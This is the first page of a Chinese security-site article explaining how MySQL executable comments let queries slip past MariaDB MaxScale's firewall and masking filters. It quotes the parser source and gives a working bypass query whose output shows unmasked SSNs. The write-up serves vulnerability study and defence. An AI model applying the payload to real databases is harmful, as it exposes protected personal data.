欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

攻击者是如何绕过MySQL代理应用MaxScale的防火墙和内容屏蔽规则的

来源:本站整理 作者:佚名 时间:2019-03-26 TAG: 我要投稿

背景知识
MaxScale是由Mariadb开发的一款MySQL代理程序。我们可以把它看作一个支持MySQL的Haproxy。下面,我们将为大家介绍该程序提供的两个过滤模块:
数据库防火墙模块:允许您使用一组灵活的规则来阻止查询,这些规则能够完成授权系统无法做到的那些事情。
内容屏蔽模块:允许您返回某些列的假/屏蔽数据(例如,对某些客户屏蔽PII)。
演示
首先,让我们看看这些过滤器在实践中是如何工作的。我们将:
· 使用列id、first_name、last_name和ssn来创建一个名为managers的表
· 创建屏蔽规则以返回SSN的假值
· 创建防火墙规则,以阻止没有提供WHERE子句的DELETE查询
mysql> select * from managers;
+----+------------+-----------+-------------+
| id | first_name | last_name | ssn         |
+----+------------+-----------+-------------+
|  1 | Hugh       | Mann      | XXX-XX-XXXX |
|  2 | John       | Doe       | XXX-XX-XXXX |
+----+------------+-----------+-------------+
2 rows in set (0.00 sec)
 
mysql> select CONCAT(ssn) from managers;
ERROR 1141 (HY000): The function CONCAT is used in conjunction with a field that should be masked for 'maxuser'@'::ffff:127.0.0.1', access is denied.
 
mysql> delete from managers;
ERROR 1141 (HY000): Access denied for user 'maxuser'@'::ffff:127.0.0.1': Required WHERE/HAVING clause is missing
漏洞利用方式
MaxScale如何解析查询
MaxScale要想正常工作,它必须能够正确解析传入的SQL查询,只有这样,其路由器和过滤器才可以正确处理各种请求。实际上,该功能包含在名为query_classifier的模块中。过去,它使用的是mysql_embedded库,但是现在,使用的是sqlite的修订版。
解析后,MaxScale的模块就能访问相关信息了,例如查询类型(用于确定服务器应该路由到哪个后端以进行读/写拆分等),引用的数据库/表/列,以及查询的AST。
安全隐患
MySQL的查询解析器的一个复杂之处在于,它对上下文是非常敏感的。只有知道了当前的SQL模式、已定义函数/表/数据库和MySQL版本等信息后,才能对查询进行正确的解析。MaxScale解释查询的方式与后端如何解释查询之间如果存在差异,不仅会导致正确路由查询时出现问题,而且还会为黑客敞开一扇大门,使他们能够根据解析后的结果绕过系统提供的各种保护。
MaxScale如何处理可执行注释
MySQL中的可执行注释,与HTML的条件注释非常相似。这些注释的目的是,不仅可以使用较新MySQL版本的功能,同时,还能保持查询向后兼容。下面是MySQL文档中的一个示例:
如果在感叹号!后添加一个版本号,则仅当MySQL版本大于或等于指定的版本号时,才执行注释中的语法。以下注释中的key_block_size关键字,仅会由MySQL5.1.10或更高版本的服务器执行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;
下面,让我们来看看MaxScale的SQLite查询分类器是如何处理这些注释的:
#ifdef MAXSCALE
      if ( z[2] == '!' ){
        // MySQL-specific code
        for (i=3, c=z[2]; (c!='*' || z[i]!='/') && (c=z[i])!=0; i++){}
        if (c=='*' && z[i]=='/'){
          char* znc = (char*) z;
          znc[0]=znc[1]=znc[2]=znc[i-1]=znc[i]=' '; // Remove comment chars, i.e. "/*!" and "*/".
          for (i=3; sqlite3Isdigit(z[i]); ++i){} // Jump over the MySQL version number.
          for (; sqlite3Isspace(z[i]); ++i){} // Jump over any space.
        }
由此可以看出,tokenizer总是将可执行注释的内容解析为SQL,而不管后端的版本如何。
可执行注释的利用方法
利用MaxScale和后端服务器在解释带有可执行注释的查询的方式之间的差异,我们可以绕过防火墙规则和屏蔽规则。
通过发送一个带有可执行注释的查询——该查询的目标版本高于后端服务器(假设是99.99.99版),我们可以插入将由MaxScale解释却会被后端忽略的SQL操作。
利用这一点,攻击者可以窃取某些SSN:
mysql> /*!99999 CREATE PROCEDURE bypass BEGIN */ select managers.*, CONCAT(ssn) from managers /*!99999 END */;
+----+------------+-----------+-------------+-------------+
| id | first_name | last_name | ssn         | CONCAT(ssn) |
+----+------------+-----------+-------------+-------------+
|  1 | Hugh       | Mann      | XXX-XX-XXXX | 111-22-3333 |
|  2 | John       | Doe       | XXX-XX-XXXX | 444-55-6666 |
+----+------------+-----------+-------------+-------------+
2 rows in set (0.00 sec)
让我们看看这里到底发生了什么:
· 屏蔽过滤器(The masking filter)将根据com_query_response数据包的schema、org_table和org_name字段来屏蔽结果集。
· 因此,它会禁止用户在SELECT语句中使用类似CONCAT这样的函数,从而导致这些字段与屏蔽规则不匹配,最终导致显示原始值。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载